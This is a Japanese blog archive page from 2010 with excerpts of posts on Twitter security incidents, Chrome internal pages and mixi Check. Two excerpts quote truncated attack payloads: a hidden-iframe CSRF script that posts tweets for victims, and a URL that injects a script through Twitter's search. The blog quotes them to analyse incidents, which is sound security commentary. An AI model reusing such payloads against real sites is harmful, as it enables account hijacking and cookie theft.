twitterでCSRFがあったらしい

web

Twitterでまた悪質リンクが横行――解決済み(ITmedia) 記事はXSSタグが付いているが、実際の攻撃はCSRFのようだ。 <script type="text/javascript"> var el1 = document.createElement('iframe'); el1.style.visibility="hidden"; el1.src = "http://twitter.com/share/update?status=WTF:%20"…

2010-09-27

chromeのシステムページ(2)

chrome 7の追加システムページ前回の記事(chromeのシステムページ)とかぶるのですが about:aboutにアクセスすると「about:」ページのリストが表示されるようです． about:appcache-internals about:view-http-cache about:credits about:dns about:histogram…

2010-09-23

chromeのシステムページ

chromeのシステムページ(2) chrome 7の追加システムページ自分メモです．chromeの隠しページというか、システムページというかそういうやつです．(更新) About Memory(about:memory) ブラウザ全体でのメモリ使用量，各タブ・プラグイン・拡張での使用メモリ/…

2010-09-22

mixiチェックで任意のサイトをチェックする

mixiが新しくmixiチェックというサービスを開始しました。場所であるとか、ウェブサイトであるとかに"チェック"することで友人と気になる情報を共有するサービスです。foursquare等のウェブ版みたいなイメージでしょうか... このmixiチェックをするためには…

2010-09-08

Twitter Cookie盗難について

IT media Twitterで悪質なスクリプトが流通、cookie盗難の恐れに関する考察なんぞ. 記事中のツイート内容で検索をかけたら簡単に元ツイートまで辿りつけた. 短縮URLの実態としては //dev.twitter.com/search?query=%253C/script%253E%253Cscript%20src=%27(…